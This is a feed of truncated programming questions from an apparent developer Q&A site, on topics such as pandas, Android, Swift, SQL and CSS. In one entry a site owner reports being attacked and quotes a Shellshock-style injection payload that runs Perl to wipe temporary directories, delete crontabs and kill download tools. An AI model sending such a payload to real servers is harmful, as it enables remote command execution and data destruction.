I'm currently working on a mobile application using Cordova. When I click a 'reviews' button on one page, I want it to open up the next page (which shows more about that particular company) and automatically scroll down to the 'reviews' div on that page. I've tried adding a scrollTop within the ...
I've got the following error, can anyone help to resolve this? Unable to resolve type bindings for class 'something', check the classpath (typeBinding=null)
I wrote a program with a simple pair of client and server,the first of which generate a bunch of strings and sends them via API provided by socket,namely sendmsg(),and the second of which receive the strings with facilitation of epoll. According to what's captured by the tcpdump and the result o...
I am trying to include the OpenEars Framework in my project. But it does not seem to see the path to my headers unless I write the absolute path. Absolute path works #import </Absolute_PATH_To_Framework/OpenEars.framework/Headers/OELanguageModelGenerator.h> #import <Absolute_PATH_To_Framework/H...
When I call instanceID.getToken(default_senderId, scope, null) this function I thought IOException Missmatched messenger not posting request to register kr.co.benchbee.miraeasset because of backoff period java.io.IOException: SERVICE_NOT_AVAILABLE how to fix this?
I have read loads about the Amazon MWS API and downloaded the example php files, but just about everything is either out of date or doesn't work, I'm even using scratchpad which works fine but when i translate the HTTP POST setting into a php script its hit and miss. I have found the following (...
This is my first time making a custom control so this is a VERY basic question. I would like to create a button like this: import UIKit class EKLikeButton: UIButton { required init(coder aDecoder: NSCoder) { super.init(coder: aDecoder) self.layer.cornerRadius = 5.0; self.layer.bo...
I´m trying to convert a xml to an Object in Spring MVC 4.x but I´m getting this error (just a piece of it): Caused by: org.xml.sax.SAXException: Illegal Text data found as child of: comprobante value: "<?xml version="1.0" encoding="UTF-8"?> <comprobanteRetencion id="comprobante" version="1.0.0">
Using the Chrome Dev Tools, I have been taking a number of snapshots for my app. With each snapshot, the Object's retained size grows. The shallow size stays the same. When I do a comparison between snapshots, the delta's do not indicate that there is a leak. Doing a recording with the Timeline d...
I have the maven dependency for omnifaces for version 1.11 (as my target is JDK 1.6). Richfaces 4.5.6 final, myfaces 2.2.8. And, I have got this: <ui:define name="content"> <f:loadBundle basename="au.com.erb.facility.ui.facility" var="property" /> <o:highlight styleC...
I am writing a simple calculator script for my C# programming class. It will of course have buttons 0-9 that will update the output textbox to add the number of whatever button is clicked. My problem right now that is I would rather not have to have 10 different click events in my script. I wo...
I've got a ScrollViewer that is the content of an Expander, which is the template of an ItemsControl that is the content of another ScrollViewer. I'd like to stretch the inner-most ScrollViewer to the size of the outer-most, which I'd expect to work with the ActualWidth/Height bindings I've alre...
Can IEnumerable be a possible alternative to params[]? Because Ive been hearing some articles that params is not good, but I seem to doubt it because it is syntactically straightforward and is very useful. ex. public void testMeth(IEnumerable<object> testerEnum){ //Code here }
I have a new Lenovo T440 with Windows 8.1, I have installed Fedora 22 to have dual boot, I started playing around with grub2-customization and some of the BIOS settings (secure boot and legacy vs UEFI), but now I can no longer access the bios settings, only get a short message in the top left of ...
Here is the MainActivity.java code of my calculator app: package com.example.android.calculatorrecursion; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.view.View; import android.widget.Button; import android.widget.EditText; import java.util.ArrayList;...
I have a table displayed using PHP. There are only two rows, the first row contains the headers, second row contains text box inside the td. What I am trying to do in this part of my script is for the user to enter some values, then I would like to grab the values according to the header names so...
I want to trim the space between the tag name and the attribute using StringUtils.strip(). Because I have some space which cannot be removed by the following Jericho methods: CharacterReference.decodeCollapseWhiteSpace(htmlFragment)) TextExtractor -Tag[] allTags = source.fullSequentialParse();...
I'm currently using Xcode 7 beta 2, Parse 1.7.5 and Facebook 4.40. When I add this line of code in my AppDelegate.swift: PFFacebookUtils.initializeFacebookWithApplicationLaunchOptions(launchOptions) I get this error: I just can't figure out how to fix the issue.
I have an application where markers/features are loading into layers/layerGroups (what's the right term?) from multiple sources, and they're loading dynamically (based on some attribute in feature.properties and other conditions). I want to be able to tell on the sidepanel the number of markers ...
How can I get access an mp3 inside of app/Resources/userFiles/mp3s directory? Inside of my controller I render a view that has [audio] tag but I need to get access to the mp3 file which is outside of the web directory. An ajax call is made to request the mp3 file (done). In my controller I wan...
I am a beginner in Java and OOP in general, and I have a question regarding inheritance in Java. In my project, I have a class Order that represents a order placed for an asset. I intend to have several classes that extend Order including LimitBuyOrder and LimitSellOrder & the likewise for marke...
I have a pandas dataframe with two id variables: id num q v 0 1 10 a 2 1 1 10 b 4 2 1 12 d 6 3 2 13 a 8 4 2 14 b 10 5 3 15 z 12 I can pivot the table with: df.pivot('id','q','v') And end up with something close: q a b d z id ...
I have created a Django Rest server. And I am trying to POST a JSON content in java using HttpURLConnection. However, when I am registering OutputStream in java, the server get a POST request with no JSON content. Hence the server rejecting the request with HTTP response code 400. I did write JSO...
I actually just posted, but I am re-asking to give a better concept. I'm trying to use a segmented control change through multiple views inside a container view. I'm also not sure how to embed multiple views inside the container view. I saw a tutorial how to do it in Objective-C, but I am coding...
I would like to copy the data from 'Sheet1' ($A:$N ; may fluctuate), select the range of the data and paste it in 'Sheet3'. I also need to copy the data from 'Sheet2' without the first row (same headers as 'Sheet1') and paste it underneath the data of 'Sheet1' that is now in 'Sheet3'. I am open ...
It is 2015. Are there any tutorials for making an Android app using functional programming. Preferably it should go all the way to a full app. It seems that the most suitable languages right now are Scala, Clojure, or special languages, but any functional programming language will do.
Any one could help me please, How to get number of week by month in Python? from datetime import datetime, date, timedelta
I have a mvc web api httpresponsemessage endpoint but I need to reply back to the client request in two steps. The first one being with status code of 202 (Accepted) and 200 (OK). In between this two responses is a long running task. How can I do this? I've heard using PushStreamContent but I ca...
I have the following mark up code <!DOCTYPE html> <html> <head> <title>Untitled</title> </head> <body> <table> <tr> <th></th> <th></th> <th>Back</th> </tr> <tr> <td class="runner-row runner-back">1.98</td> <td class="runner-row runner-back">...
I am trying to refactor controllers and have taken a look at Laravel's command bus. After reading a bunch of articles and watching a few videos, it seems that this may be a great way to refactor my controllers. However, it also seems that I shouldn't be returning anything from a command. ...
ive got a form. There is a function which checks on form click and keyup, if each field is filled out. All working so far... Unfortuntely it does not work, if the user uses chrome autofill. I tried extending the function with body click but the dropdown from chrome is outside of the body... D...
Is there some C hackery that can check whether a struct variable contains a certain field variable at compile time? For example: struct { int a; } foo; assert(HAS_FIELD(foo, a)); assert(!HAS_FIELD(foo, b)); If you're curious why I'd like this, I'm experimenting with a language transpiler.
I have a pdf form that has been converted into normal pdf document(using print2pdf software) . I intend to extract the data from the same , is there any way of doing so ? I am currently using pdfminer , but it tends not extract the data entered by the user , but extracts all other data. pdf2tx...
This is a general question about how to apply a function efficiently in pandas. I often encounter situations where I need to apply a function to a pd.Series and it would be faster to apply the function only to unique values. For example, suppose I have a very large dataset. One column is date, a...
I am working with a Marionette.js app that fetches more data as the user scrolls down the page. setupWindowScrollListener: function() { var $window = $(window), $document = $(document), that = this; $window.on('scroll', _.debounce(function...
I have 2 tables that i wish to join on a date range. table 1's date only vary on year and month while table 2 vary on multiple days. Table 1 pur_date product 2015-06-01 shirt 2015-06-01 shoe 2015-05-01 shoe 2015-04-01 purse 2015-04-01 bag 2014-05-01 key Table 2 chk_date ...
Hi there I am trying to convert a textbox text into DateTime so that I can insert it in database table datetime column. Here is my code bookingfromdate text is "08/07/2015 03:00:00 pm" DateTime bookingfrom = DateTime.ParseExact(bookingfromdate.Text.ToString(), "dd/MM/yyyy h:mm:ss tt", new Cultu...
a = [-1, 1, 66.25, 333, 333, 1234.5] print a[4][1]; #it prints 3 Is there a way to do that in Perl.
Super simple question I am having trouble getting these two div's to align next to each other inside of a google maps info window. I have been working on this issue for quite some time and finally decided to bring it to stack overflow. Can you guys help me with my problem? var template = '<div c...
I got this error after not even touching the code in weeks and saying that it pertains to an Arraylist. This is the error that I am getting. java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.android.login/com.example.android.login.MainActivity}: java.lang.Ind...
How can are saving a file using the following tools, and have the same file name It will be automatically overwritten. Behind the file name without overwriting saved when there is the same file name (1), and to put wind in the Eda-ban automatically such as (2) What happens volumes of it? If you c...
i am using GUI to call a DOS command. By using dos(my_command, '-echo') i can get the DOS command output in Matlab's Command Window. Is there anyway to replicate that -echo in a static text in my GUI? Currently, with my_command, I write the output to a log file, and update the static text's Stri...
I'm trying to do stack of cards overlapped that when the fist card is swiped out the next card from stack move ahead. I've searched for hours and I couldn't find any idea how to start doing this. Do you guys have any idea how could I start this task? Example of animation: https://m2.behance.net...
A I said in title, I need a good tutorial about JSF Primefaces, Spring, Hibernate without using Maven and I want to run it in Netbeans (just add library). Ive tried using a tutorial with Maven(but I don't use the maven) and I always end with no result. May you show me the recommended tutorial? Y...
Im trying to write a simple program but get some unexpected result. I expect the result to be 0.5 but it prints 0.0 int i = 10; int j = 20; double result; result = i / j; System.out.println("RESULT = " + result);
I need meta data of fields. like this code. var fields = [ { code: 'name', display: 'Name', isActive: true }, { code: 'tel', display: 'Telephone Number', isActive: true }, { code: 'mobile', display: 'Mobile', isActive: true }, { code: 'email', display...
My git bash screen doesn't show anything as shown in picture below. I have uninstalled and re-installed and it didn't work. I would greatly appreciate if any one could help on this. I am using Windows 8.
#include <stdio.h> #include <stdlib.h> long collatz(long n, long *c) { long temp = n; while(c[n]==0) { if (n==1) { c[temp]++; return c[temp]; } if (n%2==0) n = n/2; else n = 3*n+1; c[temp]++; } c[temp]= c...
I've learned that percentage height only works if the parent (and parents) elements all has height value set. But why that is not required on a position:fixed element. div { position: fixed; width: 50%; height: 100%; background: silver; } <div>placeholder</div>
I'm new to Python and I'm trying to encode a UTF8 string. Using PHP's json_encode(), … (U+2026) becomes \u2026. However, using Python's json.dumps(), it becomes \u00e2\u20ac\u00a6. How do I convert this to \u2026 in Python?
Bash question! so I have n arguments, and for each argument I'd like to to do a for loop and assign variables to hold characteristics of each argument. for example I have a script that runs in a continuous while loop and looks at user activity in my network... this is a simple outline of what my...
If this seems like a dumb question, it's b/c it's asked by a dumb person. How do I make all modules be available for both python 2.7 and 3.4? I executed brew install <prerequisites for pygame> <snip snip> <snip snip> brew install pygame pip freeze <snip snip> pygame==1.9.2a0 <snip snip> an...
I am working to create a view that contains a dropdownlist. To generate the select list items, I wrote a method to return the list of SelectListItems desired for this dropdown - one of which has an attribute of Selected set to true. I have traced through the method generating the IEnumerable re...
Ok.. this has been asked here 10 times and its usually the immutable issue. My code looks like this: For i = 0 To filterlist.Length - 1 Dim s = filterlist(i) If s.Length > 2 Then Dim ts = xmlString.Replace(s, "<temps>" + s + "</temps>") xmlString = ts End If Next fi...
I am struggling to understand how to add MULTIPLE headers to the HttpRequestMessage. I mean I get the basics and if I do one header it works but multiple headers and the last one is what sticks and all others are overwritten? So for example the Accept header will be overwritten but the authoriza...
I would like to choose a word from a text file. Print that word and also print the same word in reverse. When I run the code, I have the output below. I just need to print the same word in reverse. But when I call the reverse method in the main function nothing prints. Below is my code: impor...
I have multiple distinct select tags with the same options, and multi-select is enabled within each select tag. <select name="city_id1" id="city_id1"> <option value="1">q</option> <option value="2">s</option> <option value="3">sasdad</option> </select> <select name="city_id2" id="cit...
I have the following Class code and when Debug it kept showing the following error: 1.) Unhandled Exception: java.lang.ClassNotfoundException 2.) Unhandled Exception:java.lang.NoSuchMethodException Error Log: /Users/dev/Documents/workspace/ERNEST_LEE/Projects/UtilityApp/com.dapoaugury.apps.r...
I have a case where the JavaScript client side model does not match with the WebAPI model. In the following code, the status on the client side is a string while the same in the WebAPI is an integer. How can I achieve the mapping of status from string to an integer without adding an if statement...
I am trying to create a spark dataframe in sparkR using data stored in hbase. Does any one know how to specify the data source parameters in SQLontext or any other way to get around this?
I'm working making a multithreaded program using overlapped sockets for reading instead of asyncronous sockets. Can someone look over my code here and let me know where I need improvement? //structure definition typedef struct _MYSOCKET_INFORMATION { char* outCharBuf; INT8U* outByteBuf; char ...
I'm trying to record audio from one android device (Server) and send to another android device (Client) to play it live, I am using indy HTTP server, to send the stream to the client, I am calling the Android API to record the audio, using AudioRecord and play it on the other side using AudioTrac...
Someone please help!! The fact that these upside down brackets are taking the space between my words are annoying. It looks like this... _var_five_=_5
I am trying to write a program that orders a list of strings based on the last character in the item. ["Tiger 6", "Shark 4", "Cyborg 8"] are how my list is imported, but I need to put them in numerical order based on the numbers at the end. Thanks in advance!
when I send message from ANDROID to IOS, ios user CANNOT see the message right away In contrast, android user can see the msg as soon as ios user send msg, here what to do? try to add refreshresults in viewDidAppear and viewWillAppear but both not working well. so, please give me some tips Cod...
Now I am using Rails framework and Postfix mail server. Send mail using Rails' Action Mailer: NoticeMailer.deliver_now When I start postfix: sudo service postfix start I noticed that there are many mails are sending to my mail. Maybe that are what I tested in queue. How to delete them fro...
I'm a newbie in web development, and my first post here. Hope you could help me i'm running out of idea. Is it possible to save the file and not the webpage from link e.g. filename.pdf via drag from web page then save to my desktop. Because when i do that the link is save as webpage and not the f...
I really don't know where to start with this one, but I am (first time) using Net::IMAP and I am getting the following error: NameError in EmailsController#connect uninitialized constant Net::IMAP Extracted source (around line #4): 2 3 def connect 4 imap = Net::IMAP.new('outlook.office365.c...
So basically HTMLAgilityPack (HAP) doesn't always return the same source as your browser would see. If I understand it properly it tries to help by fixing what it considers to be malformed code up. My issue is I could parse the data just fine using a browser control but while a httprequest is mu...
I have a problem with Device Orientation, Ionic and Cordova/ngCordova I've already run the command: "cordova plugin add cordova-plugin-device-orientation" to install the device orientation plugin It installed without problem. Then I add the following code to my app: .controller('MyCtrl', fu...
I have created a SpriteKit scene by referencing a custom NSView using Storyboards in Xcode. However, I cannot implement any mouseMoved events using SpriteKit because I do not know how to reference the program's NSWindowto set its acceptsMouseMovedEvents property to "true". How can I create an @I...
I am working with pandas and I wish to sample 2 stocks from each trade date and store as part of the dataset the average "Stock_Change" and the average "Vol_Change" for the given day in question. The actual data is much larger spanning years and hundreds of names. My sample will be of 100 names...
I am making a kernel from scratch in c (Not linux. COMPLETELY from scratch) and I have come along a bit of a problem. I have this code: #include "timer.h" int ms = 0; int sleepc = -1; void timer_handler(struct regs *r){ ms++; if(sleepc > -1){ sleepc++; } println("I print ...
latest,manager let me optimize a bug realeated with jsoup. problem is that ,sometimes jsoup Jsoup catch data,sometimes normal within 10 mins,sometimes slowly needed serveral hours.and program occur read timed out when running,and the num occurd read timed out frequently when catch data slowly.fir...
I need to update a table by inner joining another table. Below is the example. Employee table: role name Time create manager abc 2013 sales def 2014 manager xyz 2015 sales dje 2015 Currentteam: role name manager sales so i need to upda...
Someone always attack my website by visiting a specific url, this time is: MYWEBSITEIP/1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.cd /var/tmp/ ;cd /tmp/ ;rm -fr /tmp/* ; rm -fr /var/tmp/* ; crontab -r; killall -9 wget fetch curl lwp-download b f ...
In my progress of learning Elixir, I am playing around with Dialyzer to put types on my functions. In this regard, I've noticed that Dialyzer doesn't seem to check the types for anonymous functions. In the example below, the anonymous function is clearly very wrong, as I am trying to append a li...
I'm trying to display database contents from a DB on my server to an android app. I am stuck with errors below, some guidance would be great. public class TestExternalDatabaseActivity extends Activity { /** Called when the activity is first created. */ TextView resultView; @Override public voi...
First -- to be clear -- this is homework, and I'm just trying to learn to do this properly (I don't want an answer, just guidance). I did some searching on this site and Google at large but can't seem to find a solution. Anyway: In my main class, I've created an ArrayList that I'm attempting t...
I have this data lets suppose it is a column which represents the claim amounts, and I have to compute using the Tweedie model the various parameters such as mu and phi, I already know p which using R fitting and Tweedie package and came out to be 1.7. Please help.
I made an app using parse, and am using email verification in it. I have a bug where it is not sending email verifications to @yahoo.com & @optonline.net emails. Those are the two I found to not be working. It is working for all other emails. It says to do the following stuff below, but I am ver...
I need to build a radial stacked bar chart in d3. I see some tutorials and examples for a simple bar chart, but I am new to d3 and haven't really got my sea legs on this one. Does anyone have an example somewhere or a tutorial they have found? Really appreciate a pointer in the right direction.
I stuck with a SOAP service security. In testing with SoapUI, I find a generated Nonce key. How to generate Nonce key? I have username, password (type: password text), timestamp which Nonce key seems to be it generated from them. Thanks for advance!
(my apologies for any mistake in english) I am trying to use the function encrypt/decrypt in PHP (5.6.7) with MySQL (5.6.22). The text to be encrypted/decrypted correspond to a field in the database, and it is an Integer value. I copied one example from PHP.net (http://php.net/manual/pt_BR/fun...
I create two android app to test GCM, after testing them I find the GCM server identify the app through the registered token(get from InstanceID.getToken(senderId, scope, bundle)), the project information(I modified project_number, client_id and package_name) in the google_service.json does not i...
I have 2 long URLs that point to the same page, http://preview.tbwabox.co.nz/_v005/index.html#buying-a-car http://preview.tbwabox.co.nz/_v005/index.html#buying-a-house and I would like to check if the URL has the string "buying-a-car" or "buying-a-house". depending on the URL, it will show dif...
I want to search the phone-number in a text file using grep in cygwin. The number is 0570-2770521, and I use the regular expression "[0-9]{4}-[0-9]{7}" with total command as grep "[0-9]{4}-[0-9]{7}" ./list.txt, but it didn't work. Then I changed to grep "[0-9]\{4\}-[0-9]\{7\}" ./list.txt, it wo...
in my app I am using a CountDownTimer and would like users to be able to reset the data in the app and start fresh. The problem I am having is that if you start a timer on say, 3 minutes and then a short time later you call my reset function to set all scores back to their initial values, and t...
Looking to use Twilio API on Bluemix but need to set-up the server side for Twilio to be able to respond to SMS. We've looked into the Liberty for Java service but still not sure how it all comes together. Looking for a simple step-by-step to go through setting up Twilio, server on Bluemix.
I have a list with 4 columns namely Region Name (dropdown choices), Start Time (Date & Time), End Time (Date & Time), Comments (multiple line text). It allows users to book a region for a particular time frame i.e. using start time and end time. I want to put a validation such that if user A ha...
Consider async actions that are both defined in a similar class/companion object way: class AuthenticatedAction[T](authorize: AuthenticatedRequest[_] => Future[Boolean]) extends ActionBuilder[AuthenticatedRequest] {...} //Modifies the request object AuthenticatedAction {...} class Action2() ex...
I have about 7000 homogeneous DataFrames (same columns but different sizes) and want to concat them into one big DataFrame for further analysis. If I generate all of them and store into a list the memory would explode, so I cannot use pandas.concat([...all my tables...]), but choose to do the f...
Is it valid to leave out the first parameter in the query string for a url? http://www.asdf.com/?&foo=bar&foo2=bar2 Please correct me if I'm wrong, but this means an empty parameter, followed by "foo" and "foo2" parameters. Chrome and Firefox seem to be interpreting the query parameters corre...
Website is prudenceconservancy.org. Recurring payments reports do not show option fields while non-recurring payments do.
I wrote a breadth first search and a depth first spanning tree method in both of my adjmatrix and my edgelist class. but someone said I have a logic error in mine because: You're creating an empty queue, putting a single value in it, and then expecting it to contain all of your edge data. If yo...
I have two fixed buttons that appears with a bootstrap modal so when the user scrolls down the modal the buttons remain in the vertical center of the screen… But when the cursor is over one of this buttons the modal won’t scroll. How can I change this behavior?
What I want to be able to do is to change the width and height of an iframe at each loop interaction and then take a screenshot.. all this without calling page.open over and over again.. it takes time and it's inefficient..
A json object has a key lastLogin. Value of it is a string. I am trying to print firstName John and Blake $scope._users = [{ "User": { "userid": "dummy", "lastlogin": "{\"employees\":[{\"firstName\":\"John\"}, {\"firstName\":\"Blake\"}]}", } }]; h...
My Login code: public ActionResult Login([Bind(Include = "Username, Password")] TaiKhoan tk) { var user = Request["user"]; if (user != "") { string username = Request["user"]; string pass = Request["pass"]; ...
when I run the following code, the result is shown as 3 2 3, how can I understand it? #include<stdio.h> int main(){ int a = 1; printf("%d %d %d",a,a++,++a); return 0; }
I'm trying to write a query to return all columns, and filter by displaying DISTINCT records from a specific column. Here is my Query right now, which requires me to "Group By" everything in the select statement. I obviously don't want to do this.: SELECT lVisitID, sFirstName, sLastName, s...
I'm having trouble with the navbar-fixed-top class. I have a container which has inside a navbar. What I want to do is to make the navbar sticky in the top when i scrolldown-up but I want it to be relative to the container (not to the body). I hope you can help me to make the bar realtive to the...
[].concat.apply([2], [[1],[2,3],[4]]) => [2, 1, 2, 3, 4] Is the [2] being treated as a first argument? I thought the first argument to apply was to set the value of 'this', is that happening here?
I have created a project by google developer console, and I get client id and app email. But the app email can't load gmail's spreadsheet by other shared. The app email is random string, it's read difficult by user. I also tried to use selenium to resolve, but it's not a good solution. Can I ...
The following stored procedure returns nothing when executed! Have i made it right? DELIMITER // CREATE PROCEDURE `sp_search`(IN `_search` VARCHAR(60)) BEGIN SELECT `result` FROM `search_results` WHERE `keyword` LIKE '%_search%'; END // DELIMITER ;
When I try to open a connection to my Office 365 service, it fails as so: 2.2.0 :001 > require 'net/imap' => true 2.2.0 :002 > port = '993' => "993" 2.2.0 :003 > imap = Net::IMAP.new('outlook.office365.com', port) Net::IMAP::Error: connection closed from /Users/cameronaziz/.rvm/...
I am using Ext JS 5.x version grid within my application & using its filter plugin. Currently on every key press the grid is filtering the records (which is default) but I want to stop the keypress event and only filter the data when user is done giving the filter text and presses Enter key. I tr...
if I have result from POST like this : $date = $this->input->post('date'); echo $date; /// it will be printed : 09-07-2015 (Ninth july 2015) which is the day is : Thursday. I use jquery calendar datepicker by the way. So, how can I make it to like this : International Thursday, 09-07-2...
We compute our sitemap periodically with a chron job and store the results in s3. Can we 301 redirect https://oursite.com/sitemap.xml to the sitemap.xml hosted on s3? I know that the sitemap spec requires the sitemap to be on the same domain (http://www.sitemaps.org/protocol.html#location). But...
int main() { int e[]={3,5,1,2,-2,-1,7,8,0,9}; int *f; int fsize; f=smaller_than(e,10,fsize,5); } I have a function: int * smaller_than(const int list[],const int SIZE,int& count,const int THRESHOLD=0) { count = 0; for (int i = 0; i < SIZE; i++) { if (list[i] <...
In the context of program verification/symbolic execution, I need to model memory access in a large scale. This would look like m1 = Array("m", BitVecSort(64), BitVecSort(64)) m2 = Store(m1, index1, val1) m3 = Store(m2, index2, val2) Since writing to large arrays is very time/memory consuming ...
Can you please explain to me the simplest way on how the ajaxprefiltering in jquery works? Sorry I'm a newbie in using AJAX. Is it for customizing requests in the server? Thanks. I'm referring to this site http://www.bennadel.com/blog/2132-using-ajaxprefilter-to-configure-ajax-requests-in-jquery-...
I'm looking for a way to exit a chain of middleware without calling next. Here's an example below. This works but I have to check for req.filter every time to ensure it's set to false. Does express have any way of exiting the current chain of middleware (moving to the next route) without throwin...
I have a project for class where I have to send information from a driver class to a class holding an ArrayList, before separating them it worked fine but now I cannot figure out how to send the items to the second class, they are Driver and CardStack respectfully: import java.util.Scanner; imp...
I am looking to create a program that will convert a float to a binary and the other way around. But I do not exactly know how to do it or how to approach this problem. This is what I have so far: #Method that check if string is a number. def is_number?(string) true if Float(string) rescue fa...
i've gone through Scott Allen's Hello World app app, and have my Aurelia app working perfectly in visual studio. For some reason, I'm unable to get the same result in WebStorm. My index.html body looks like: <body aurelia-app> <script src="jspm_packages/system.js"></script> <script src=...
I have a list list.of.df containing 3 data frames, that I coerce into a single data frame containing columns of all data frames using ldply from plyr i.e. df <- ldply(list.of.df) This approach used to work, but today I have a new set of data and I received an error Error in as.POSIXct.numeric(wh...
I made a program to count the characters in a string i failed one test case where for any input in the form of "as(Any no of spaces in the middle)der" is printing 3 instead of 5.I am not knowing the reason why? Below is my SourceCode import java.util.Scanner; class CharCount { static int Coun...
By default all the make files(Android.mk's) are being included when doing a full build. I would like to exclude one application. How to tell the build system to not include a specific makefile?
Hello I've problem using qtreeview. So I want get the value from the selected item and save all value from selected row to array. I do not know what code should I write when the user clicks the edit button. Please help me what code should I write in the line void Teachers::editTeacher ()?. This i...
I've just updated Phpstorm to version 9 and get this highlight of the entire file / class when hovering over this field (where it says \optimizer\Console\Commands\GetSellerinfo): The file gets this grey highlight when hovering over above field. I've searched the settings but didn't find the...
When calling cython on the command line, it's possible to tell it to create a int main() method that embeds the Python interpreter: $ cython --embed main.pyx $ grep 'int main' main.c int main(int argc, char** argv) { However, when you import Cython directly, e.g. from a distutils setup.py scri...
i was wondering how to change the name displayed in the window so it can show whatever i want instead of just MainWindow.
I have the following XML code <person> <name>prane</name> <age>19</age> </person> <person> <name>neeth</name> <age>20</age> </person> Now I want to add parent node using c# the resulting XML should be <persons> <person> <name>prane</name> <age>19</age> </person> <person> <name>neeth</name> <...
I was trying to configure two domains, first is working fine, but not the second. However, on server ping works fine for the second domain as well as named-checkzone responses OK. However I cannot update the domain, and domain provider informed me that my name servers are not valid. here are the...
Right now, I'm coding in Shiny, the web-app creation framework written in R, and I use the app.R format for my Shiny app, which mean I have two variables that I pass to Shiny::runapp(ui, server). The code for the server looks like this: #SERVER CODE: INCLUDE YOUR SOURCE FILES BELOW server <- fun...
We have a scenario whereby multiple pre-release versions of an application run in the same environment. The problem we're seeing is that, because our EventSource has the same name/guid, we cannot differentiate between logs. Is it possible to configure the name/guid of the EventSource via config ...
I installed Alamofire with Carthage, and I found some other libraries that I might want to integrate with my projects too but unfortunately they only support Cocoapods. So the question is, can I use Carthage for library A and Cocoapod for library B?
From the last 2 days, I have been trying to install caffe on OSX 10.10 I was able to run all the installation commands successfully for caffe but when I tried to import caffe in ipython I got the exact same error: https://github.com/BVLC/caffe/issues/2092 So, as suggested in the thread, I tri...
I found an awesome answer on stackoverflow which explains how to pass an associate array to a function. Would someone be able to help me figure out what the syntax of ${1#*=} in the code below specifies? (Borrowed from that answer by jaypal singh): #!/bin/bash declare -A weapons=( ['Straight ...
I'm coding c++ FYI Ok so I have the windows Crypto API generating an RSA key pair so that I may properly export my generated AES key. All works well, my code decrypts ALL of the data WITH THE EXCEPTION of 10 bytes starting at offset 0x2 in the outputted plaintext It seems that offset 0x2 is ra...
I'm trying to including a CSS "left" property to my JavaScript code such that if the left property in the CSS file matches the one in the JavaScript code, a certain action takes place. Here is a simple illustration of part of the script code: if (document.getElementById("demo").style.left = "10...
I need to decide the filetype of a file from the filename which I get in string. So I decided to get the last three characters of the String to decide what filetype it is. How do I get the last three characters in a String. For example var fileName = "test.pdf" I need to get the pdf alone. Is ...
I working on a 10 year old java system, i would like to do some clean up due to many changes have taken places in the past. I would like to know how can i do it. Example i have this file. context.java How do i know if this file is still in use in the current build on live. The file may be ...
I create message with map, and use proto3(protoc-3.0.0-alpha-3.1-windows-x86_64.exe compiler) to generate java pojo. But in message builder there is no put method for map. Here is proto file fragment: message User { map<string, string> contacts = 1; int32 id = 2; string name = 3; in...
Can I find a minimal set of codes that combine the usage of project tango phone/tablet with google cardboard?
My requirements is "Limit the number of sockets I can accept() on WinCE, let's say 60 sockets". Because I came across problem: My WinCE embedded system has limited resource to handle requests from TCP. So I must limit the number of TCP connections. I tried this : if I do not call accept() if...
import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.util.Random; public class DiceSimulation extends JApplet { /* Initialising Applet */ public DiceSimulation() { this.setContentPane(new DiceRollPanel()); } /* method main */ public static void main(String...
I have a reasonable understanding of css, the box-model, and positioning in general. But there is one mystery I've never grokked, nor have I been able to google my way to an understanding of it on the many times it has slowed down my implementation of a layout: The mystery of the ul inside a...
I need to locate an error in my code that shows up in the logcat as this: 07-09 02:42:02.251 939-1229/com.boolbalabs.petlinx E/SyncException﹕ com.google.gson.JsonSyntaxException: java.lang.NumberFormatException: Expected an int but was 1501262120526111 at line 1 column 101693 As you can se...
Takes two strings and returns True if the strings contain the same characters regardless of the number of occurrences or the order in which they occur. Must consider all characters and is case-sensitive (e.g., sameChars("AA","a") returns False, while sameChars("FgFFF","ggFF") returns True. my co...
I've got some code pulling data from a plist: myImage.image = [UIImage imageNamed:[[myArray1 objectAtIndex:indexValue] valueForKey:@"myImage"]]; I want to be able to add text to the end of the value that is being pulled from the plist. So instead of the app seeing filename it would see filenam...
When trying to cast from an Object, (which should be a serialised string) to a String, on one machine it works fine, but on another it brings up an exception. java.lang.ClassCastException: [Ljava.lang.Object; cannot be cast to java.lang.String Both machines run the same versions of Ubuntu (14...
I have designed a menu bar using bootstrap navbar. Brand Image and menu items are not aligned. Brand is aligned to the top left and menu items in the middle. when i minimize the windows, brand image and menu items displays in two rows. How do i fix this? Here is my navbar code: <nav class="...
I'm using Table cell to vertical center contend within DIV its works fine, Now i need to make the content div width to 100%, How can i do that ? Source Code <div style="display: table; height: 400px; overflow: hidden;"> <div style="display: table-cell; vertical-align: middle;"> <div>
In http://api.rubyonrails.org/classes/Hash.html#method-i-slice, I see valid_keys = [:mass, :velocity, :time] search(options.slice(*valid_keys)) I don't get the usage here. I mean, if I pass an array into slice, I definitely want every key get sliced, then why use an addtional * here? Is is p...
I am programming a plug-in for ImageJ, and I want the user to select a txt file from a directory, have a scanner go through the file and put the data into a linked list, and later write the modified list out to a new txt file. Does anyone know if this is feasible? Currently I can have the user se...
I am creating some WordPress short codes aimed at providing internal navigation on a page (one page with a lot of content sections and it own menu). This is what I have: //menu function internal_menu($atts) { extract(shortcode_atts(array( 'href1' => '#jl1', 'href2' => '#jl2', 'href3' =>
Var location = prompt("Please enter your name"); if (location == "New York") { document.write ("I love that city"); } else if (location == "Montana") { document.write ("Go Skiing"); } else if (location == "Texas") { document.write ("Rodeo Time"); } else { document.write ("Where?"); }; /*...
I want to make an app with XCode(SWIFT)and I would like to let the user enter more than one email and their passwords. the app will check either if they are match correctly or not(email and it's password). then, the app will save them in coredata. and that will let the user send email by choose ...
private $db; function __construct() { $this->db = new Database(); } function comment() { return $this->db->Select()->Get('comments'); } Fatal error: Using $this when not in object context. Any ideas how to fix?
I'm creating a linked list and using containers to group the object, next, and previous properties. Like Foundation collections, I'd like it to implement NSSecureCoding. Here's the declaration: @interface ListContainer : NSObject <NSCopying, NSSecureCoding> @property (readonly, nonatomic) id ob...
Sorry for bad English now i can save excel file but File is saved has all sheets not only "NaCl" but also all sheets is saved to new file. This is my code. So i want to save new file with single sheets. Can u help me? thank Imports MySql.Data.MySqlClient xlWorkBook = xlApp.Workbooks.Open("D:...
... to work on similar principle as OBJ files ? For example, lets say I have the following arrays (each of them with arbitrary lengths) and use them as spare-parts bins; put each of them in the buffer and then have openGL read the indices in the elements array and construct vertices by cherry-pi...
« first day (617 days earlier) ← previous day next day → last day (457 days later) »